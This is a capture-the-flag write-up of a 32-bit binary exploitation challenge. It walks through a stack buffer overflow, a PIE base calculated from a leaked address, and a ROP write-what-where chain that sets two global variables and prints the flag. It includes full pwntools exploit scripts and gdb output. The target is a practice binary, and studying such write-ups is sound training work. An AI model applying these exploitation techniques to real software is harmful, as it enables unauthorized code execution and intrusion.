lab writeup (HTBxUNI CTF)

Summary

This challenge has PIE enabled so you have to calculate the addresses of gadgets that you are gonna be using, it requires you to write to two global variables in order to read the flag.

Information gathering

First we have to gather some intel on the executable. To do this we make use of ltrace, gdb and pwntools.

Running the executable

To start off we run checksec against the executable:

$ checksec ./lab
[*] '/home/qh/CTF/Own/pwn/lab/lab'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

So NX and PIE are enabled and it is a 32bit executable.

Now we run the executable like it is intended:

$ ./lab 
Welcome to my labratory!
Feel free to use my gadgets...
If you can find them ;)
Main is at 0x565b12d4
Enter your input: abc

Let’s run it once more for good measure:

$ ./lab 
Welcome to my labratory!
Feel free to use my gadgets...
If you can find them ;)
Main is at 0x565bb2d4
Enter your input: test

It looks like only the “address” of main has changed. Let’s try to do a simple buffer overflow on the input:

$ ./lab
Welcome to my labratory!
Feel free to use my gadgets...
If you can find them ;)
Main is at 0x5664a2d4
Enter your input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                                                        
Segmentation fault

Looks like it is vulnerable to buffer overflow.

Getting the overflow padding

Now we get the padding we require for the buffer overflow. We do this by using gdb-peda and pwntools. First we generate a pattern with pwntools using the cyclic() function:

>>> from pwn import *
>>> cyclic(150)
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma'

Then give the pattern as an input in gdb-peda:

$ gdb ./lab -q
Reading symbols from ./lab...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /home/qh/CTF/Own/pwn/lab/lab
Welcome to my labratory!
Feel free to use my gadgets...
If you can find them ;)
Main is at 0x565562d4
Enter your input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma               

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd240 ("aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
EBX: 0x61616172 ('raaa')
ECX: 0xf7f905c0 --> 0xfbad2288
EDX: 0xf7f9189c --> 0x0
ESI: 0xf7f90000 --> 0x1d9d6c
EDI: 0xf7f90000 --> 0x1d9d6c
EBP: 0x61616173 ('saaa')
ESP: 0xffffd290 ("uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
EIP: 0x61616174 ('taaa')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x61616174
[------------------------------------stack-------------------------------------]
0000| 0xffffd290 ("uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0004| 0xffffd294 ("vaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0008| 0xffffd298 ("waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0012| 0xffffd29c ("xaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0016| 0xffffd2a0 ("yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0020| 0xffffd2a4 ("zaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0024| 0xffffd2a8 ("baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
0028| 0xffffd2ac ("caabdaabeaabfaabgaabhaabiaabjaabkaablaabma")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x61616174 in ?? ()
gdb-peda$

The program segfaulted at the address: 0x61616174 which is taaa in ascii and is part of our pattern. Now we get the length of the pattern up until that part using the fit() function:

>>> len(fit({'taaa':''}))
76

So the length of the padding we need is 76.

Locating useful functions, variables and gadgets

To locate useful functions, variables and gadgets we use gdb-peda and ropper. First let’s check what useful functions and variables we have:

$ gdb ./lab -q
Reading symbols from ./lab...(no debugging symbols found)...done.
gdb-peda$ info functions 
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  printf@plt
0x00001040  fflush@plt
0x00001050  gets@plt
0x00001060  fgets@plt
0x00001070  puts@plt
0x00001080  exit@plt
[===snip===]
0x00001209  usefulGadgets
0x0000121c  checkLabOwner
0x000012d4  main
0x00001338  lab
[===snip===]
gdb-peda$ info var
All defined variables:

Non-debugging symbols:
0x00002000  _fp_hw
0x00002004  _IO_stdin_used
0x000020b0  __GNU_EH_FRAME_HDR
0x00002298  __FRAME_END__
0x00003ef0  __frame_dummy_init_array_entry
0x00003ef0  __init_array_start
0x00003ef4  __do_global_dtors_aux_fini_array_entry
0x00003ef4  __init_array_end
0x00003ef8  _DYNAMIC
0x00004000  _GLOBAL_OFFSET_TABLE_
0x00004030  __data_start
0x00004030  data_start
0x00004034  __dso_handle
0x00004038  __TMC_END__
0x00004038  __bss_start
0x00004038  _edata
0x00004038  completed
0x0000403c  userid
0x00004040  labOwner
0x00004048  _end

Functions that are potentially useful:

0x00001209  usefulGadgets
0x0000121c  checkLabOwner
0x000012d4  main
0x00001338  lab

Variables that are potentially useful:

0x0000403c  userid
0x00004040  labOwner

Now let’s check for gadgets:

$ ropper --file lab --console
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
(lab/ELF/x86)> search mov
[INFO] Searching for gadgets: mov

[INFO] File: lab
0x00001406: mov ah, 0x26; add byte ptr [eax], al; add byte ptr [eax], al; lea esi, dword ptr [esi]; ret; 
0x00001161: mov al, byte ptr [0x81000000]; ret 0x2e9b; 
0x000011eb: mov byte ptr [ebx + 0x38], 1; mov ebx, dword ptr [ebp - 4]; leave; ret; 
0x00001027: mov dword ptr [8], eax; add byte ptr [eax], al; add byte ptr [eax], al; jmp dword ptr [ebx + 0xc]; 
0x00001216: mov dword ptr [edi], ebp; ret; 
0x0000139e: mov eax, dword ptr [esp]; ret; 
0x0000120a: mov ebp, esp; call 0x139e; add eax, 0x2def; mov dword ptr [edi], ebp; ret; 
0x00001146: mov ebp, esp; sub esp, 0x14; push ecx; call eax; 
0x000011a2: mov ebx, dword ptr [ebp - 4]; leave; ret; 
0x00001102: mov ebx, dword ptr [esp]; ret; 
0x00001205: mov edx, dword ptr [esp]; ret; 
0x00001346: mov esp, 0x8300002c; in al, dx; or byte ptr [ebp - 0x2d2b7d], cl; call dword ptr [eax - 0x73]; 

(lab/ELF/x86)> search pop
[INFO] Searching for gadgets: pop

[INFO] File: lab
0x00001333: pop ebp; lea esp, dword ptr [ecx - 4]; ret; 
0x000011a3: pop ebp; cld; leave; ret; 
0x0000121a: pop ebp; ret; 
0x00001332: pop ebx; pop ebp; lea esp, dword ptr [ecx - 4]; ret; 
0x00001400: pop ebx; pop esi; pop edi; pop ebp; ret; 
0x0000101e: pop ebx; ret; 
0x00001331: pop ecx; pop ebx; pop ebp; lea esp, dword ptr [ecx - 4]; ret; 
0x00001402: pop edi; pop ebp; ret; 
0x00001401: pop esi; pop edi; pop ebp; ret; 
0x00001335: popal; cld; ret;

Potentially useful gadgets are:

0x00001216: mov dword ptr [edi], ebp; ret;
0x00001402: pop edi; pop ebp; ret;

checkLabOwner seems like it is a valuable function, we can see what it does by disassembling the function:

gdb-peda$ disassemble checkLabOwner            
Dump of assembler code for function checkLabOwner:
   0x0000121c <+0>:     push   ebp                
   0x0000121d <+1>:     mov    ebp,esp 
   0x0000121f <+3>:     push   ebx
   0x00001220 <+4>:     sub    esp,0x34
   0x00001223 <+7>:     call   0x1110 <__x86.get_pc_thunk.bx>
   0x00001228 <+12>:    add    ebx,0x2dd8
   0x0000122e <+18>:    sub    esp,0x8
   0x00001231 <+21>:    lea    eax,[ebx-0x1ff8]
   0x00001237 <+27>:    push   eax
   0x00001238 <+28>:    lea    eax,[ebx-0x1ff6]
   0x0000123e <+34>:    push   eax
   0x0000123f <+35>:    call   0x10a0 <fopen@plt>
   0x00001244 <+40>:    add    esp,0x10
   0x00001247 <+43>:    mov    DWORD PTR [ebp-0xc],eax
   0x0000124a <+46>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x0000124e <+50>:    jne    0x126c <checkLabOwner+80>
   0x00001250 <+52>:    sub    esp,0xc
   0x00001253 <+55>:    lea    eax,[ebx-0x1fed]
   0x00001259 <+61>:    push   eax
   0x0000125a <+62>:    call   0x1070 <puts@plt>
   0x0000125f <+67>:    add    esp,0x10
   0x00001262 <+70>:    sub    esp,0xc
   0x00001265 <+73>:    push   0x0
   0x00001267 <+75>:    call   0x1080 <exit@plt>
   0x0000126c <+80>:    sub    esp,0x4
   0x0000126f <+83>:    push   DWORD PTR [ebp-0xc]
   0x00001272 <+86>:    push   0x1d
   0x00001274 <+88>:    lea    eax,[ebp-0x29]
   0x00001277 <+91>:    push   eax
   0x00001278 <+92>:    call   0x1060 <fgets@plt>
   0x0000127d <+97>:    add    esp,0x10
   0x00001280 <+100>:   sub    esp,0x4
   0x00001283 <+103>:   push   0x5
   0x00001285 <+105>:   lea    eax,[ebx-0x1fd5]
   0x0000128b <+111>:   push   eax
   0x0000128c <+112>:   lea    eax,[ebx+0x40]
   0x00001292 <+118>:   push   eax
   0x00001293 <+119>:   call   0x10b0 <strncmp@plt>
   0x00001298 <+124>:   add    esp,0x10
   0x0000129b <+127>:   test   eax,eax
   0x0000129d <+129>:   jne    0x12ce <checkLabOwner+178>
   0x0000129f <+131>:   lea    eax,[ebx+0x3c]
   0x000012a5 <+137>:   mov    eax,DWORD PTR [eax]
   0x000012a7 <+139>:   cmp    eax,0x1337
   0x000012ac <+144>:   jne    0x12ce <checkLabOwner+178>
   0x000012ae <+146>:   sub    esp,0x8
   0x000012b1 <+149>:   lea    eax,[ebp-0x29]
   0x000012b4 <+152>:   push   eax
   0x000012b5 <+153>:   lea    eax,[ebx-0x1fcf]
   0x000012bb <+159>:   push   eax
   0x000012bc <+160>:   call   0x1030 <printf@plt>
   0x000012c1 <+165>:   add    esp,0x10
   0x000012c4 <+168>:   sub    esp,0xc
   0x000012c7 <+171>:   push   0x0
   0x000012c9 <+173>:   call   0x1080 <exit@plt>
   0x000012ce <+178>:   nop
   0x000012cf <+179>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x000012d2 <+182>:   leave
   0x000012d3 <+183>:   ret
End of assembler dump.
gdb-peda$ 

These instructions are particulary interesting:

[===snip===]
   0x00001283 <+103>:   push   0x5
   0x00001285 <+105>:   lea    eax,[ebx-0x1fd5]
   0x0000128b <+111>:   push   eax
   0x0000128c <+112>:   lea    eax,[ebx+0x40]
   0x00001292 <+118>:   push   eax
   0x00001293 <+119>:   call   0x10b0 <strncmp@plt>
[===snip===]
   0x000012a5 <+137>:   mov    eax,DWORD PTR [eax]
   0x000012a7 <+139>:   cmp    eax,0x1337
   0x000012ac <+144>:   jne    0x12ce <checkLabOwner+178>
[===snip===]

Calling checkLabOwner

We can try calling checkLabOwner to get more info on what the strncmp is testing. We can make a sample script to calculate the address of checkLabOwner and call it:

from pwn import *

checkLabOwner_offset = 0x121c
main_offset = 0x12d4
padding = cyclic(76)
p = process('./lab')

p.recvuntil('Main is at ')
main = int(p.recv(10),16) #0xdeadbeef

log.info('Main is at: {}'.format(hex(main)))
base = main - main_offset
log.success('PIE base: {}'.format(hex(base)))

checkLabOwner = base + checkLabOwner_offset
p.recvuntil(': ')
payload = padding
payload += p32(checkLabOwner)

raw_input() #pause script to attach gdb to the process
p.sendline(payload)
p.interactive()
p.close()

Now let’s test it:

gdb-peda$ b *checkLabOwner+119
Breakpoint 1 at 0x5664d293
gdb-peda$ c
Continuing.
[===snip===]
[-------------------------------------code-------------------------------------]
   0x5664d28b <checkLabOwner+111>:      push   eax
   0x5664d28c <checkLabOwner+112>:      lea    eax,[ebx+0x40]
   0x5664d292 <checkLabOwner+118>:      push   eax
=> 0x5664d293 <checkLabOwner+119>:      call   0x5664d0b0 <strncmp@plt>
   0x5664d298 <checkLabOwner+124>:      add    esp,0x10
   0x5664d29b <checkLabOwner+127>:      test   eax,eax
   0x5664d29d <checkLabOwner+129>:      jne    0x5664d2ce <checkLabOwner+178>
   0x5664d29f <checkLabOwner+131>:      lea    eax,[ebx+0x3c]
Guessed arguments:
arg[0]: 0x56650040 --> 0x0
arg[1]: 0x5664e02b ("QHpix")
arg[2]: 0x5
[===snip===]
gdb-peda$ x/x 0x56650040
0x56650040 <labOwner>:  0x00

Ok, so it checks for the string QHpix at labOwner. Using the mov dword ptr [edi], ebp; ret; gadget we found earlier, we can write to that location.

Writing an exploit

Let the fun begin. So we know what gadgets we can use to write to labOwner and we have the offset of labOwner. We can make the following script to make a write to labOwner:

from pwn import *

checkLabOwner_offset = 0x121c
main_offset = 0x12d4
pop_offset = 0x1402 # pop edi; pop ebp; ret;
mov_offset = 0x1216 #mov dword ptr [edi],ebp; ret;
labOwner_offset = 0x4040
lab_offset = 0x1338
padding = cyclic(76)


# start the process
p = process('./lab')

# get the address of main and calculate the bass
p.recvuntil('Main is at ')
main = int(p.recv(10),16) #0xdeadbeef
log.info('Main is at: {}'.format(hex(main)))
base = main - main_offset
log.success('PIE base: {}'.format(hex(base)))

# calculate all addresses we need
checkLabOwner = p32(base + checkLabOwner_offset)
pop = p32(base + pop_offset)
mov = p32(base + mov_offset)
labOwner = base + labOwner_offset
lab = p32(base + lab_offset)

def write(proc, write_loc, payload, return_addr):
    proc.recvuntil(': ')
    ropchain = padding
    ropchain += pop
    ropchain += p32(write_loc)
    ropchain += payload
    ropchain += mov
    ropchain += return_addr
    proc.sendline(ropchain)

raw_input() #pause script to attach gdb to the process
write(p, labOwner, 'QHpi', lab)
write(p, labOwner+0x4, 'x\x00\x00\x00', checkLabOwner)
p.interactive()
p.close()

Now let’s run the script and attach gdb to the process:

gdb-peda$ b *checkLabOwner+119
Breakpoint 1 at 0x565e9293
gdb-peda$ c
Continuing.
[===snip===]
[-------------------------------------code-------------------------------------]
   0x565e928b <checkLabOwner+111>:      push   eax
   0x565e928c <checkLabOwner+112>:      lea    eax,[ebx+0x40]
   0x565e9292 <checkLabOwner+118>:      push   eax
=> 0x565e9293 <checkLabOwner+119>:      call   0x565e90b0 <strncmp@plt>
   0x565e9298 <checkLabOwner+124>:      add    esp,0x10
   0x565e929b <checkLabOwner+127>:      test   eax,eax
   0x565e929d <checkLabOwner+129>:      jne    0x565e92ce <checkLabOwner+178>
   0x565e929f <checkLabOwner+131>:      lea    eax,[ebx+0x3c]
Guessed arguments:
arg[0]: 0x565ec040 ("QHpix")
arg[1]: 0x565ea02b ("QHpix")
arg[2]: 0x5

Yep, it is correct!. Let’s check the other comparison instruction in the function:

gdb-peda$ b *checkLabOwner+137
Breakpoint 1 at 0x5664f2a5
gdb-peda$ c
Continuing.
[----------------------------------registers-----------------------------------]
EAX: 0x5665203c --> 0x0
EBX: 0x56652000 --> 0x3ef8
ECX: 0x78 ('x')
EDX: 0x56652040 ("QHpix")
ESI: 0xf7ed9000 --> 0x1d9d6c
EDI: 0x56652044 --> 0x78 ('x')
EBP: 0xffe78420 --> 0x78 ('x')
ESP: 0xffe783e8 ("jaaakaaalaaamaa")
EIP: 0x5664f2a5 (<checkLabOwner+137>:   mov    eax,DWORD PTR [eax])
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5664f29b <checkLabOwner+127>:      test   eax,eax
   0x5664f29d <checkLabOwner+129>:      jne    0x5664f2ce <checkLabOwner+178>
   0x5664f29f <checkLabOwner+131>:      lea    eax,[ebx+0x3c]
=> 0x5664f2a5 <checkLabOwner+137>:      mov    eax,DWORD PTR [eax]
   0x5664f2a7 <checkLabOwner+139>:      cmp    eax,0x1337
[===snip===]
gdb-peda$ x/x 0x5665203c
0x5665203c <userid>:    0x00
gdb-peda$ 

It looks like userid is compared to 0x1337. Let’s change our exploit script to also write to userid and then call checkLabOwner again:

from pwn import *

checkLabOwner_offset = 0x121c
main_offset = 0x12d4
pop_offset = 0x1402 # pop edi; pop ebp; ret;
mov_offset = 0x1216 #mov dword ptr [edi],ebp; ret;
labOwner_offset = 0x4040
lab_offset = 0x1338
userid_offset = 0x403c
padding = cyclic(76)

# start the process
p = process('./lab')

# get the address of main and calculate the bass
p.recvuntil('Main is at ')
main = int(p.recv(10),16) #0xdeadbeef
log.info('Main is at: {}'.format(hex(main)))
base = main - main_offset
log.success('PIE base: {}'.format(hex(base)))

# calculate all addresses we need
# functions
checkLabOwner = p32(base + checkLabOwner_offset)
lab = p32(base + lab_offset)
# gadgets
pop = p32(base + pop_offset)
mov = p32(base + mov_offset)
#variables
labOwner = base + labOwner_offset
userid = base + userid_offset

def write(proc, write_loc, payload, return_addr):
    proc.recvuntil(': ')
    ropchain = padding
    ropchain += pop
    ropchain += p32(write_loc)
    ropchain += payload
    ropchain += mov
    ropchain += return_addr
    proc.sendline(ropchain)

write(p, labOwner, 'QHpi', lab)
write(p, labOwner+0x4, 'x\x00\x00\x00', lab)
write(p, userid, p32(0x1337), checkLabOwner)
log.success(p.recv())
p.close()

Now let’s run the exploit:

$ python exploit.py
[+] Starting local process './lab': pid 69181
[*] Main is at: 0x565902d4
[+] PIE base: 0x5658f000
[+] Flag: flag{g4d6e7_1abor4t0ry_4634}
[*] Process './lab' stopped with exit code 0 (pid 69181)

Success! We got the flag!

Written on December 21, 2019